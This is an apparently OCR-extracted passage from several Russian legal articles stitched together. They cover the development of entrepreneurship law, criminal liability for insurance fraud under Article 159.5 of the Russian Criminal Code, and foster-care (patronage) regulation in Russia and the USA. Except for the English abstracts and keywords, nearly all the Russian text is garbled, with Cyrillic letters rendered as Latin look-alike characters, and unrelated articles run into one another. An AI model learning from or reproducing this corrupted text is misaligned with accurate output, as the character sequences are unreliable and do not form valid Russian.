B 0a30BOM 3aKOHE POCCHICKOIO TOCYAapCTBA PA3IMYHBIX (POpM COOCTBEHHOCTH, B TOM YHCJIC
YaCTHOW COOCTBEHHOCTH, PHIHOYHON SKOHOMUKHU M TapaHTHUH CBOOOHOM pean3aliy KaXKIbIM
CBOMX CIOCOOHOCTEH M MMYIIECTBA B MPEANPUHUMATEIBCKON JAEITEIBHOCTH [S], B pOCCHICKOM
rocyJIapCcTBe MPOMU30LLIO CTPEMUTEIBHOE Pa3BUTHE MPEANPUHUMATEIBCTBA. 3aKOHOIATEIBHOE
pEryarpoBaHue NPEANPUHUMATEIIBCKON JesTeNbHOCTH B Poccuu cTano pa3BuBaThCs MO JBYM
OCHOBHBIM  HAaNpaBJ€HUAM: B  NOyOJIMYHOM M YaCTHO-TIPABOBOM  IJIOCKOCTH.
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[pennpuHIMaTENbCKUE OTHOIICHHS CTAJTH PETYIMPOBATHCS AIMHHUCTPATHBHBIM IIPABOM H
TPOKIAHCKUM TPAaBOM, a pa3Iuuus MEXKIYy HUMH HaONIOAAIOTCS, MPEXKAE BCEro, B
HEOJIMHAKOBBIX ~ METOJaX  BO3JCHCTBUS HA  TpPEANPUHAMATEIBCKHE  OTHONICHUS. B
aJIIMUHUCTPATHBHOM TIpaBe TPEIMETOM PETYJIHPOBAHUS  CTAHOBATCS  YIPaBICHYECKHE
OTHOIICHHUS, TO €CTh TaKWE OTHOIICHUS, KOTOpPhIe CYIIECTBYIOT «II0 BepTUKamm». Hopmamu
TPaXIAHCKOTO TIpaBa OIPENEISIOTCS TPABOBOM CTaTyC CYOBEKTOB NpPEANPHHAMATEIHCKON
JEATSIbHOCTH, WX HMMYIIECTBEHHOE TOJIOKEHHE, a TaKKe HWMYIICCTBEHHBIC OTHOIICHUS,
CKJIQJIBIBAIOIIIMECS MEXKITY PA3TUIHBIMU CYObEKTAMU TIPEANPHHAMATEIBCKON IEITETHHOCTH.

[Momynsipy3arus mpeIpUHAMATEIBCTBA B YCIIOBUSIX PHIHOYHOW SKOHOMHKH TPHBEIIA K
MOCTaHOBKE BOIIPOCA O TOM, CYILECTBYeT Jin B Poccuiickoii Deneparyy npearnpruHIMAaTeIbCKOS
MpaBO, KaK CaMOCTOSITEbHASI OTPAcib, MpaBa JHOO K& MPEANPUHAMATEIBCKOE MPAaBO — 3TO
MPUKJIAIHAS YacTh TPAKAAHCKOTO TpaBa. [104BOM AJIsl TakOW TUCKYCCHH, KaK MBI IOJaraeMm,
SIBIISIETCSL OTCYTCTBHE TPEANPHHUMATEIBCKOTO KOJEKCa, KOTOPBI Obl B POCCHICKON MPaBOBOMA
CHCTEME CHMBOJIU3UPOBAJI CAMOCTOSITEIIBHOCTE OTpaciu. KpoMe Toro, mpennpuHuMaTeIbCKue U
TPaKIaHCKHE TPABOOTHOIICHHS PETJIAMEHTHPYIOTCS TMOCPEICTBOM OJMHAKOBBIX METOJIOB, a
HOPMaMU TPAXKTAHCKOTO TpaBa OINpPEIENSAETCS CTaTyC CYOBEKTOB MpEANPHHUMATEIBCKON
JCSITeIBHOCTH, a TaKXKe 3aKPEIUITIOTCS TPEANPUHUMATEIBCKAE JOTOBOPHL.  M3iioskeHHOE
SIBJISIETCS XapaKTEPUCTHKONH COBPEMEHHOTO COCTOSIHUS MPEAINPHHUMATENhCTBA MpaBa B Poccuu
U IGMOHCTPHUPYET €ro anodeos.

Takum oOpa3oM, HEOOXOAMMO CJAeNaTh BBIBOA O TOM, YTO HECMOTPS Ha TO, YTO
AIIEMEHTHI MPEINPUHUMATEIBCKUX OTHOIICHUH CYIIECTBOBAIH B OTEUECTBEHHOM TOCYJIapCTBE,
HaTpuMep, B JPCBHEPYCCKUM TIEPHOJA Pa3BUTHS TOCYIApCTBa, 3aT€M B IEPHOJ POCCHIICKOTO
a0COIOTU3MA, Ha COCTOSHHE COBPEMEHHOTO IMPEANPHHUMATEIBCKOTO TpaBa KaK OTpPacid B
OOJIbIIIel CTETIEHU OTPA3UIINCh COOBITHS, CBSI3aHHBIE C BOSBHUKHOBEHHUEM PHIHOUYHOW YKOHOMHKH
M 49acTHOW (hOpMBI COOCTBEHHOCTH. XO3SIICTBEHHOE MPABO COBETCKOT'O TOCYIApCTBA MOMHO
Ha3BaTh HCTOPUYCCKHM TPEIIICCTBEHHUKOM POCCHICKOTO TPEIIPHHAMATEIILCKOTO IIpaBa,
OJTHAKO CUYHUTATh €ro B KayecTBE JIETEPMHUHAHTA DPA3BHUTHUS MPEINPUHHMATEILCKOTO TpaBa B
COBPEMEHHOM €r0 TOHWMAHUHM HEJb3sl, YTO OOYCJIOBJICHO MPHHITUIHAIBHO Pa3THIHBIMU
YCIIOBUSIMU JIJ1s1 POPMHUPOBAHHS XO3SIMCTBEHHOTO M MPEANIPUHUMATEIHCKOTO MpaBa. CMEXHOCTb
XO3HUCTBEHHOTO ¥ MPEIIPUHUMATEIILCKOTO TIpaBa MPOSBWIMCH B MPEIMETEe MPABOBOTO
PETYIIMPOBaHUSI, TO €CTh OOIIECTBEHHBIX OTHOIICHHUH, CBA3aHHBIX C OMNpE/IEICHHEM CTaTyca U
MOpsiIKa JIESITETIbHOCTH XO3SMCTBEHHBIX CYOBEKTOB. MeXIy TeM, B XO3SIMICTBEHHOM MIpaBe
MIPEBATUPOBAT UMIICPATUBHBIA METOJ IPABOTO PETYIUPOBAHUS, OTPAHHUYMBAIONINN CBOOOIY
CYOBCKTOB  XO3SIICTBEHHOM  JICATENBHOCTH, a B  MPEANPUHUMATEICKOM TIpaBe  —
JIVCTIO3UTUBHBIN.
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AHHOTANINA

ABTOpamMu HACTOSIIEN CTAaThU PACCMATPUBAIOTCS BOMPOCHI MPHUBJICUYECHHS K YTOJOBHOM
OTBETCTBEHHOCTH 32 MOIIICHHUYECTBO, COBEPIIIEHHOE B c(hepe cTpaxoBaHUsl, B COOTBETCTBHU CO
cT. 159.5 VK P®. PaccmaTtpuBaroTcs KBUM(DUIIUPYIONIUE MPU3HAKK COCTaBa MPECTYIUICHUS,
npexycMoTpeHHoro cT. 159.5 YK PO.

KiroueBble cjioBa: CTpaxoBoe MOIIEHHUYECTBO, IMYHOCTD MPECTYIHUKA, CTPaXxOBaHHE,
MPeIYNPEKICHUE CTPAXOBOIO MOIIIEHHUYECTBA.

Abstract

The authors of this article consider the issues of criminal prosecution for fraud committed
in the insurance industry in accordance with Article 159.5 of the Criminal Code of the Russian
Federation. The qualifying signs of the corpus delicti provided for in Article 159.5 of the
Criminal Code of the Russian Federation are considered.

Keywords: insurance fraud, criminal identity, insurance, insurance fraud prevention.

Poccuiickoe YTOJIOBHOE 3aKOHO/IaTEIbCTBO KJIacCUPUIUPYET CTpaxoBOe
MOIIEHHUYECTBO KaK IMPUCBOEHUE UYKOI0 MMYILECTBA Yyepe3 0OMaH OTHOCUTEIBHO PEaTbHOCTU
CTpaxoBOro ciy4as M pasMmepa Bbiuiar. CrpaxoBoil pbelHOK B Poccuiickoit ®enepaunu
OTJIMYACTCS] TEMIIOM POCTA M 3HAYUTEILHBIMU (DHHAHCOBBIMHU MTOTOKAMH, YTO, B CBOIO OYepE/Ib,
MIPUBOJIUT K YBETUUEHUIO CITy4aeB MOIIEHHUYECTBA B IaHHOH 00IacTH.

CrpaxoBoe MOIIEHHUYECTBO 0OYCIIOBJIEHO BBICOKOM JIATEHTHOCTHIO, IO3TOMY H3y4YEHHE
KPUMUHAIMCTUYECKON XapaKTEPUCTUKU JTAHHOTO TMPECTYIUICHUS, TUIHYHBIX CJEICTBEHHBIX
CUTYaLIMii, TAKTUKU IIPOBEICHUIA OTAEIBHBIX CIICICTBEHHBIX JICHCTBUN MOMOYKET B BBISIBJICHUU U
PaCKpbITHH TaKUX MPECTYILICHUH.

3aKOHOAATENbCTBO KJIACCU(PUIMPYET COCTaB NPECTYIUIEHUsS] KaK KOHCTPYKIHIO, B
KOTOPYIO BXOAMT YeThIpe 00s3aTeNbHBIX JIEMEHTAa. B cOCTaB KOHCTPYKIMH BXOISAT OOBEKT U
CYyOBEKT MPECTYIUICHUS, 00bEKTUBHAS M CYOBEKTUBHASI CTOPOHBI MPECTYTUICHUSI.

OOBEKT TMpecTyIUICHUsI SBIACTCS OJHUM M3 BAKHEHMIINX COCTABISIONIMX COCTaBa
MIPECTYIUICHUS, TTO3BOJISIET BBIIBUTH OOIIECTBEHHYIO OMACHOCTh MPOTHUBOTPABHOTO JESHUS, YTO
MO3BOJISIET MPABIIILHO KITACCU(PHUIIMPOBATH JCHCTBHSI TPABOHAPYIITUTEIS.

B npenenax u3ydaemoro npaBoHapyiieHus1, onpeaencéHHoro ctarbei 159.5 YK PO [1],
CyOBEKTOM SBISIETCS. BMEHseMoe (pu3mueckoe JHMIO, MJOCTUTIIEE BO3PAcTa YrOJIOBHOM
OTBETCTBEHHOCTH.

[Ipu W3Y4YCHUU KPUMUHAIUCTUYECKON XapaKTEPUCTUKHU MOLIEHHUYECTBA,
npexycMoTpenHoro cratbeit 159.5 YK P®, crout oTMETHUTH, YTO COOCTBEHHOCTh, HA KOTOPYIO
nocsiraeT (PU3MYECKoe JUI0, COCTOUT U3 IKOHOMHUYECKHX U TIPABOBBIX aCTIEKTOB.

BaxxHbIM mpU3HAKOM MOILIEHHMYECTBA B JTAaHHOM cdepe sBIsSeTCS MPOTHUBONPABHOCTH
nestausi. OHO COBEpIIAaeTCs ¢ KOPBICTHOM IIEITBIO, T. €. MPUYUHUTH YIIEpO 3aKOHHOMY BIIACTIBILY
MMYILECTBA.

Taroke K dIIEMEHTaM KPUMHHAIUCTHYECKOW XapaKTEPUCTUKH TPECTYIUICHUsS B cdepe
CTPaxOBaHUsI MOYXXHO OTHECTH CJIEIYIOLIEE:

- 00CTaHOBKa, KOTOpasl CIIOJBUIJIA K COBEPIICHUIO MTPOTHUBONPABHOIO JESHMUSA,
JTAHHBIA 3JIEMEHT MOXHO OIKUCATh HE TOJBKO C ITOMOILBIO MECTAa U BPEMEHU
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COBEPIUCHHS IPECTYIUICHUs, HO M OTJIMYMTENIbHBIC IIPU3HAKH IIOBEICHUA
pa3INYHbIX JIULI;

- IpeAMET MOIIEHHUYECTBA,;

- MIPU3HAKHU OOBEKTUBHOW CTOPOHBI — CHOCOOBI COBEPIICHUSI IPOTHBONPABHBIX
JEUCTBUM;

- JUYHOCTH TIPECTYNMHUKA M JKEPTBBI MOIIEHHUYECKUX JEeWCTBUH B cdepe
CTpaxOBaHUS.

Kareropus wmomenHuuecTBa, mnpeaycMoTrpeHHas crateeit 159.5 YK PO, moxer
OCYILECTBIIATHCS KaK CAMMMH CTPaxXOBIIMKAMH, TaK U IPYTMMH JIMLAMH, KOTOpasl BKIKOYAET B
ce0s1 pa3fIMyHbIe CIOCOOBI, Takue Kak yOMICTBO C HENbIO MOJMYYeHHs ICHEKHBIX CPEJCTB,
HOZJIOT IOKYMEHTOB, a TAKXKe IPUUUHEHHE TSXKKOTO BpeJa (PU3MUECKOMY JIHILY.

JIMYHOCTh TMpEeCTyNHHKA 4Yallle BCETO XapaKTEPU3yeTCsl BBICOKUM HHTEIUIEKTOM,
XOpOLIMMH HaBBIKAMH, & TAKKe MaTepualibHO-oOecrieueHHbIH. [lo craTucTUKe NpecTymeHns B
JaHHOW cdepe COBEPIIAIOT MY>KYHHBI B BO3pacTHOU Kateropuu oT 20 g0 45 5eT, HO 3TO He
WCKJIIOYAeT ydyacTHE JKCHIIMH B JaHHOM cdepe. Bce onHu oOnagaror ymMeHHeM, KOTOpoe
MI03BOJISIET BBOJIUTH KEPTB B 3a0ITyXKIICHHE.

IlepBblii Tan paccienoBaHus KpaiHe Ba)keH, IIOTOMY YTO HAa HEM Ba)KHO YCTaHOBMTH
JUYHOCTh NPECTYNHHMKA, a TakkKe CJIEeJ0BaTeNu JOJDKHBI IPHIEPKUBATHCA —Pa3IUYHbIX
NPUHLUIIOB M BOBpPEMsl MPUHHUMATh O BO30YXJICHWU YTOJOBHOTO Jefa Uil NpeloTBpaIleHUs
peuuanBa NpeCTyIUICHUM.

VY cnenoBarens WMEIOTCS IIpaBa IO IPOBEIEHUIO DPA3JIUYHBIX IPOLECCYAIBHBIX
JNEUCTBUM, BKIIIOYAash OCMOTpP MeCTa IPECTYIUICHUS, a TaKKE MCIOJIb30BAHUE OIEPATUBHO-
PO3BICKHBIX MEPONPUATHHA. Y 0CMOTpa €cTh CBOM OCOOEHHOCTH, KOTOPBIH TpeOyeT TIaTeabHON
MOJTrOTOBKHU U y4acTUE CIEIIUAINCTOB, €CJIU B 3TOM €CTh HEOOXOIUMOCTb.

[IpenynpexneHne NpecTyHOCTH MPECTYIUIEHUH, pelycMOTpeHHBIX cTaTthelt 159.1 VK
P® cocroutr u3 BBIABICHHUS W YCTPAaHEHMS MNPUYMH, CIIOCOOCTBYIOLIMX MOLIEHHHYECTBY. B
HacTosIIee BpeMsl MPOUCXOJUT AKTUBHOE DPAa3BUTHE MCKYCCTBEHHOIO HMHTEUIEKTa (Jajiee 1o
tekcty — M), 94TO MOXKET SBIATHCSI OCHOBAaHUEM JJIsi COKpAILEHHS YHMCJIA COBEPIIECHHBIX
npecTylieHuid B JaHHOW cdepe. Bo MHOrmx crpaHax MHpeanpUHUMAIOTCS MOMBITKH IO
BHesipeHnto U B mpaBoBbIE CHCTEMBI C LIENIBI0 aBTOMATU3aLUU PYTUHON pabOThI U TIIATEIBHON
IIPOBEPKHU BCEX 3AKJIFOYEHHBIX IOTOBOPOB CTPAXOBaHM.

Ecnu onupatbcst Ha MPaKTUKY, TO MOYKHO 3aMETUTh, YTO KOJMYECTBO IMPOTUBOIIPABHBIX
JesHU B cdepe CTpaxOoBaHUs IMOCTENIEHHO YBEJIMYMBAETCS Ha (POHE 3aperHCTPUPOBAHHBIX
npecTymiieHuit B ¢guHaHcoBoil cdepe. CTOMT OTMETUTh, 4YTO C KaXIbIM pa3oM
COBEpILEHCTBYETCS CIOCO0 JAHHOTO BUAA MPECTYMHOTO MOCATAaTeNIbCTBO B 3aBUCHUMOCTH OT
CTaJ1M, Ha KOTOPOW HAXOJUTCS CUCTEMAa CTPaXOBaHUs B ONpeieIéHHOM cyobekTe PO.

JlanHas crates Obula mpuoOpena IOPUAWYECKUI CTaTyC Al pa3rpaHUuCHUs] CMEKHBIX
COCTaBOB, 3a KOTOpbIE MPEAYCMOTPEHO Oosee Msrkoe HakazaHue. B coorBercTBuuM ¢ uu. 2-4
cratbu 159.5 YK P® nononnutenbHble KBATMOUIMPYIOIIUE MPU3HAKH OOBbEKTUBHONW CTOPOHBI
MOIIEHHUYECTBA B Chepe CTPaXxOBaHUSI SBIISIFOTCS:

— IpYIIION JIUIL 110 NPEIBAPUTEILHOMY CTOBOPY;

- C IPUYMHEHUEM 3HAYUTENIFHOTO yiep0a rpaxaaHuHy;

- JIMLIOM C MCTIOJIb30BaHUEM CBOETO CIIY>KEOHOTO MOJI0KEHHS;

- NPECTYIUICHUE, COBEPLICHHOE B KPYIIHOM Pa3Mepe;
OpPraHW30BaHHOW I'PYMIION;

- NpeCTyIUIEHHE, COBEPILIEHHOE B 0CO00 KPYITHOM pa3Mepe.

B paccmotpenun Gonpiryro pois umeeT [loctranoBnenue Ilnenyma BepxoBHoro Cyna
P® «O cynebHolM mpakTHKe MO JejJaM O MOIICHHUYECTBE, MPUCBOCHWU U pactpare» [2],
KOTOPOE 3aTparuBaeT HEKOTOPbIE BOMPOCHI pasrpaHndeHus ctatbi 159.5 VK PD oT cmexkHBIX
COCTaBOB.
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Jns xBamUKaluy NpecTyIUICHHUs B ITaHHOM chepe HEOOXOAUMBI BaXKHbIE ITPU3HAKH, A
MMEHHO OOBEKT M IpeIMeT MOILIEHHUYECTBA B cepe crpaxoBanus. OObEKT ompeaenseTcs: Kak
TpUaJa MPaBOMOYHMH CTPAXOBIIHKA, & TIPEIMET OM MOIICHHUYECTBA OYJIET SBISATHCS UMYIIECTBO
CTpaxoBIL1Ka, KOTOPOE BBIIJIAUMBAETCS B KAUECTBE CTPAXOBOI'0 Bo3MeleHus [ 3, ¢. 255].

Pa3bepem mnpumep, ¢usmueckoe MO, KOTOPOE IMOJMy4aeT CTPaxOBYIO BBIILUIATY 3a
JpYroro Mo TNOAJEIbHBIM JOKyMEHTaM He OyIeT CUMTAaThCsl MOILCHHUYECTBOM B cdepe
CTpPaxOBaHUs, IOCKOJIbKY YILEpO NpeTepreBaeTe caMo (hpu3nueckoe JuLo. B KoHKpeTHOM citydae
npecTyruieHrne Heo0XoMuMo kBauduiposars 1o cT. 159 YK PO.

[TpoTuBONpaBHbIE IESIHUS, COBEPIIECHHBIE C UCIIOJIb30BAHUEM (DAIBIINBBIX JOKYMEHTOB,
KBATH(PUIIUPYIOTCS TIO COBOKYITHOCTH TpecTyIuieHuid 1o ¢T. 159 u cr. 327 YK P®, mockonbky
¢danbcudpukanus JTOKYMEHTOB IO CBOEM CYIIHOCTHM HE SBJISETCS BHUJIOM MOIIEHHUYECTBA,
MIOTOMY YTO JJIsl XMILEHUSI YY’>KOTO UMYILECTBA ITyTeM MOILIEHHUYECTBA HEOOXOMMO 2 CrIoco0a:
3nmoynotpebaeHne JoBeprueM U 0OMaH.

Takum 00pa3oM, MOXKHO CZeNaTh BBIBOA O TOM, YTO HPOTHUBONPABHOE JESHUS OyaeT
kBasuuIpoBaHo 1o cT. 159.5 VK PO B caenyronmx ciydasx:

- 00BEKTOM BBICTYTAIOT TPHAa IIpaBoMouHii [4, c. 23];

- CYOBEKTOM MOIIEHHUYECTBA, MPEIYCMOTPEHHOTO JTAHHOW CTaThel, sBIsETCS
CTpaxoBaTeb;

- NPOTUBONPAaBHOE JAESHHSA JOJDKHO OBITh COBEPIIEHO IIyTeM OOMaHa WM
370YMOTPEOICHNUS TOBEPUEM.

CBOEBpPEMEHHOE BBISIBJICHHE W TIPECEUCHHE TMPECTYIUICHUH B CTPaxoBoul cdepe B
3HAUUTEJILHON CTETEHH 3aBUCHUT OT IPAaMOTHOW pabOThI CyObEKTOB CTPAXOBAHMS HA BCEX dTarax
3aKJIIOYEHUS] U MCIOJHEHMs JIOTOBOPOB IIPH OOS3aTEIIBHOM B3aMMOEHCTBUU CO CTPAXOBOM
OKCIIEPTH30H, KOHTPOJIbHO-PEBU3MOHHBIMH  CIIY)KOAMH, TOJpA3ACICHUSIMU IO  3allIuTe
uH(popManuy 1 6€30MaCHOCTH CTPAXOBOM JESITEIBHOCTH.

[lo cratuctuke ¢ KaXIbIM TOAOM MOXHO HaOMIOJAaTh CHIDKCHHWE MpPOLICHTA
MPECTYIUICHHUH, CBA3aHHBIX C MOIICHHHYECTBOM B c(epe CTpaxoBaHHs, a TaK)KEe CHIDKCHHUE
CYMMBI yIep6a, MpUYMHEHHOr0 MoleHHHKaMu. 3a 2023 rox cymma yiepba cokpaTtuiach Ha
11% no 3 mupa. pyOseid, a KOJIMUYECTBO 3asIBICHUI, OJaHHBIX B IPABOOXPAHUTEIIbHBIE OPTaHbl,
COKpaTHIoch Ha 15% - ¢ 8 ThIC. 10 6 THIC. OOpaleHu 3a TaHHBIA TIEPUO/I.

bopsba ¢ gaHHBIM BHJIOM MOIIEHHUYECTBA TPEeOYeT KOMIUIEKCHOIO MOAX0/a,
BKJIIOYAIOLIETO B ce0s M3y4yeHHE U YCOBEPILICHCTBOBAHME 3aKOHOMATENLCTBA M pabOThI
[PaBOOXPAHUTEIbHBIX OPraHOB, KOTOPHIE ONEPATUBHO NPECEKAIOT NPOTHBOIPABHbIE NESHUS,
npexycMoTpeHHsbie cT. 159.5 YK PO.

Taxke CHWXKEHHE TPOLEHTAa TNPECTYITHOCTH B JTaHHOW cdepe CBA3aHO C aKTHBHBIM
IPOCBEIICHUEM M OCBEJOMJIEHMEM TrpaxaaH. Hemano BakHbIM OyJeT SBISATb AKTUBHOE
B3aUMOJICHICTBUE CTPAaXOBBIX KaMIIaHWA C MPAaBOOXPAHUTENBHBIMUA OpraHaMH, KOTOpbIE
COZIECHCTBYIOT APYT APYTY, YTO MO3BOJIAET ONEPATUBHO MPECEKATh MOA03PUTENBHBIC ONIEPALIUM U
NpeI0TBpaIllaTh MOLIEHHUYECTBO B cdepe cTpaxoBanus [5, c. 367].

Takum 00pa3oM, MOXKHO ClieNaTh BBIBOJ O TOM, YTO aHAJIN3 JIMYHOCTU MPECTYIHUKA,
ocobenHocTr kBammdukanuu ctatb 159.5 YK P® u MeToauka paccienoBaHus IaeT TOTHYIO
KapTHHY MOILICHHUYecTBAa B cdepe cTpaxoBaHus. JlaHHOE TPOTHBONpPABHOE [ESHUE
MIPEJICTABIIIET COOOM MHOTOTpaHHOE M CTPYKTYpHUPOBAaHHOE SIBJICHHE, TpeOyromiee oco0oro
BHMMaHMs, pacClIeIOBaHuUs U €ro KBAIM(UKALUH.

Jns Hero HEOOXOIUMBI TaKUe KBATU(PHLUPYIOLINE MPU3HAKA OOBEKTUBHON CTOPOHBI,
KaK MpeaMeT U OOBEKT MPECTYIUICHHs], & TAKKE OHO JIOJDKHO OBITH COBEPIIICHO MyTeM oOMaHa
WJTU 37I0yTIOTPEOICHUS TOBEPUEM.

KpuMHHOTEHHBII MOPTPET MPEACTABISIET CO00H (M3MYECKOE JIUIO, KOTOpoe obagaer
OIpEe/ICIICHHbIMU 3HAaHUAMHM M HaBbIKaMU B c(epe CTpaxOBaHUS U (PMHAHCOB, UTO SIBIAETCA
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OCHOBaHHEM JIA pa3pa60TI<1/I N TUIAaHUPOBAHUA OoJiee CIIOXKHBIX U CTYIICHYAThIX CXEM JJIA
XHUIICHUS 9YKOTr'0 BCIIHOIO UMYIICCTBA JABYMS BhIMICTICPCUNCIICHHBIMUA CIIOCOOAMH.
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AHHOTANINA

B craTbe npoBeneH aHanu3 cucteMsl (PyHKIMOHUPOBAHMS MAaTPOHATHOIO BOCIIUTAHUS B
Poccrm n CHIA. I[IpoBeneH cpaBHUTEIHLHO-TIPABOBOIM aHAJIM3 HOPM O MATPOHATE B CYOBEKTaX
P®. Ilpennaraercs yupexxaenue narponata B PO Ha denepaabHOM ypoBHE Ul €TUHOOOpasus
HOPMATUBHOT'O PETyJIMPOBAHUS.

KnioueBble cjioBa: maTpoHat, (OCTepHasi CeMbsi, NMAaTpOHATHOE BocnuTaHue B PO,
3aIllUTa HECOBEPLIECHHOIETHHUX.

Abstract

The article analyzes the system of functioning of patronage education in Russia and the
USA. A comparative legal analysis of the norms on patronage in the subjects of the Russian
Federation is carried out. It is proposed to establish patronage in the Russian Federation at the
federal level for the uniformity of regulatory regulation.

Keywords: patronage, foster family, foster care in the Russian Federation, protection of
minors.

KonBenuust o npaBax pebenka, Bcrynusmas B cuiry st CCCP 15.09.1990 r., HbiHe
neicTByomas Ha Tepputopun Poccuiickoit denepaniuy, MpU3HAET, YTO «PeOEHKY JUIs TOJIHOTO
Y TapMOHUYHOTO Pa3BUTHS €ro JIMYHOCTH HEOOXOIMMO pacTd B CEMEHHOM OKPYKEHUH...».
Jannplii npuHuMn peanusyercss CeMEHHBIM KOJEKCOM B CT. 1, 3aKpeIUIAIONIMM IPUOPUTET
cemeitHoro Bocniutanus naetei. Taxke cT. 123 CK P® 3akpernisieT ¢hopmbl BOCTIUTaHUS I€TEH B
CeMbe: OIeKa U IONEYUTEIbCTBO; YCHIHOBICHHE; UHBbIE (DOPMBI, YCTAHOBICHHBIE CyObEKTaMU
(marpoHaT); mepenadya B OpraHU3aIMio I JETCH-CUPOT U JIETeH, OCTABIIUXCS 03 MOMECUCHHS
ponurenei.

Ucxons w3 texcra Ykaza llpesunenra PO «O HEKOTOpBIX Mepax MO pead3aiuu
rOCYIapCTBEHHOH NOMUTHKM B cdepe 3aluThl AeTed CHUpPOT M JeTed, OcCTaBIIMXCS 0e3
MIOTICYCHHSI POIUTENICH» TATPOHAT OMpeAeIsaeTcs, Kak (opMa yCTpoicTBa JeTei, OTIIMYHAS OT
OIEKHU U IONEUYUTENBCTBA, UIMEIOLIAs BO3ME3AHBIN XapakTep.
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B nHayke, nmatpoHaTHas ceMbsi onpejensercs Kak «hopMma OIneKH U MONeYUTeILCTBA Hall
peOEGHKOM WM JI€ThMH, OCYILIECTBIsieMass IO JOrOBOPY O TATPOHATHOM BOCIHUTAHUH,
3aKJII0YaEMOMY MEKIy OPTaHOM OTEKHU U IOTICUYNTENBCTBA U MATPOHATHBIM BOCTIUTATEIIEM).

YekynaeB C.C., KpaBuyk A.O. BbIIEISIOT Be (POPMBI YCTPOHCTBA AETEH-CUPOT U AETEH,
oCTaBIIUXCS O€3 MonevyeHus: poauTeneil: «cemeiinbie Gopmbl (YCHIHOBIEHHUE, IIPUEMHAs CEMbS,
MaTpOHATHASI CEMbsI) M MHCTUTYIIHMOHATBbHBIC (POPMBI (OpraHu3auy A IeTeH-CUPOT U JIeTeH,
OCTaBIIMXCs 0€3 MONEUEHUsST POTUTENCH, BCEX THIIOB)Y.

Llens maTpoHaTa — «colMaNU3aIys peOCHKa, MOMyYeHHE UM HEOOXOJMMOTO OIbITa
KHU3HU B CEMBE.

B Poccuiickoii ®enepanuu cucTeMa IATPOHATHOIO BOCIHUTAaHUS HE BBEACHA Ha
(benepaabHOM YpPOBHE U PErylHpyeTcs 3aKOHaMH CyObekToB. Ha ceromHsmHuil 1eHb Takue
3aKOHbI IPUHATHI B MEHBIIEH NI0JI0BUHE CyOBEKTOB PD.

Enunabix TpeOOBaHMH K MATPOHATHBIM BOCIIUTATENSM HET, CYOBEKTHI YCTAHABIMBAIOT HX
camocrosTenbHO. Hampumep, 3akoH ApxaHrenbckoi oosnacta ot 26 mas 2004 r. N 233-30-03
«O maTpoHaTe HaJ HECOBEPIICHHOJICTHUMMWY YCTAHABIMBACT OTPAHMYCHUS ISl MATPOHATHBIX
BOCHHTATENIEH B BUJIE HECHATOW WM HEMOTalleHHON cyaAuMOocTH. Mexay Ttem, 3akoH ToMckoit
obmactu ot 8 mroHs 2005 r. N 89-O3 «O maTpoHaTHOM BOCIIMUTAaHUM JIETCH-CUPOT W JICTEH,
OCTaBIIMXCS 0€3 TIOTMEUYCHHs POAMTENCH) YCTAaHABIUBACT OTPAHWYCHUS JIIS TATPOHATHBIX
BOCHHTATENICH B BUJIE CYJUMOCTHU «3a YMBILIUIEHHOE MPECTYIUICHUE MPOTUB KU3HU U 3[I0POBbSI
rpaxIaaH, JUOO JWI, WIEHbl CEMbH KOTOPBIX HMMEIOT HAa MOMEHT 3aKJIIOYEHHS JOroBopa o
MaTPOHATHOM BOCHUTAHUM CYAMMOCTh 3a YMBIIUIEHHOE MPECTYIUICHHE TPOTUB >KU3HU U
3JI0pOBBS TPAKAAH U POKUBAIOT COBMECTHO C HUMU.

Taxxe, B oTAenbHBIX cyObekTax P®d moroBophl 0 mepemaye JeTel HA MAaTPOHATHOE
BOCIMTAHUE 3aKJIIOYaroTcsl TMo-pasHomy. Hanpumep, B Tomckoll o0mactd J0roBop 0O
MaTPOHATHOM BOCIMTAaHUM 3aKIIFOYAETCS «MEXIYy OpPraHoM ONEKM M IOINEYUTENbCTBA,
yUpeXIEeHUEM, IMepeAaolero pedeHka Ha MaTpOHATHOE BOCIHUTAaHHWE, W MATPOHATHBIM
BOCTIMTATEIIEM», TO €CTh 3aKIIIOYaeTCs TPEXCTOpPOHHUI moroBop. B OpenOyprckoi oGmactu
MaTPOHATHBIN 10rOBOP 3aKIIOUAETCS «MEXKy MaTPOHATHBIM BOCIUTATEIEM U OPraHOM ONEKH U
MIOTICYUTENTLCTBAY, U SABIIIECTCS IBYCTOPOHHHUM.

Takum oOpa3om, GopMa yCTpOHCTBA IETEH B CUCTEME MAaTPOHATHOTO BocnuTanus B PO
peanu3yeTcs HEOAMHAKOBO, B 3aBUCUMOCTH OT KOHKPETHOTO CyOhEKTa U €ro HOpM.

B 3apyOexHOM mpakTUKe CHCTEMa TMATPOHATHOIO BOCIUTAHUS HOCUT Ha3BaHHE
«hocTepHasi ceMbsD».

B CIIA nmatpoHaT peryaupyercsi He TOJbKO Ha YPOBHE ILTATOB, HO M Ha (eaepabHOM
ypoBHe. Tak, 3akoH 0 Oe30macHeIX ceMbsix M ycbiHOBieHHU (Adoption and Safe Families Act
Add languages) ycTaHaBiMBaeT O0OS3aHHOCTh TOCYJAPCTBEHHBIX OpPraHOB IPOBEPSTH
ounorpaduio (OCTEpHBIX POAUTENCH M BCEX B3POCIHBIX, MPOXKHUBAIOIINX B CEMbE, HA MPESIMET
CJIy4aeB KECTOKOTO WJIM HEHA [IeXkKAIEro 00palieHus, CyIUMOCTE.

Crout orMeTuth, 4To B CHIA BaxHYIO pojb UIPalOT HEKOMMEPUECKUE OpraHU3alH,
Hanpumep — «HammonaneHast accouuarusi GoctepHbix poaurteneii» (National Foster Parent
Association). Accoruanysi OCYIIECTBIISIET MPO(ECCHOHATBHYIO TOJATOTOBKY BOCIHATATEIIEH,
TIOMOIIIb 110 B3aMMOJICHCTBHIO C TOCYAPCTBEHHBIMU OpraHaMH, COOp MOKEPTBOBAHUH.

B ¢ocrepnoit cempe B CIIA rocyaapCTBEeHHbIMH OpraHamu, MPEAOCTABISIONINE
MOMOILb peOEHKY U €ro ceMbe, pa3padaThIBacTCs MHIUBHYaIbHbIN I1aH IOMOLIH JUIs peOeHKa.
[Inman sBnsercs OQUIMATBHBIM JOKYMEHTOM, IIOJIOKCHHUS KOTOPOTO OOS3aTeNbHBI IS
BBITOJIHEHHS YKa3aHHBIMU B HEM JIUI[AM.

Vnpasnenue no aenamu aereit (ACS) ocymiecTBiIseT Haa30p 3a CUCTEMOM TATPOHATHOTO
BocruTanus B I. Hero-HMopke, Takke OHO HaJEIeHO ITPAaBOM U3bIMATh JAETEU U3 CEMbH, ECIIM OHU
HaXOJISATCS B HETIOCPEICTBEHHOM OMAaCHOCTH.

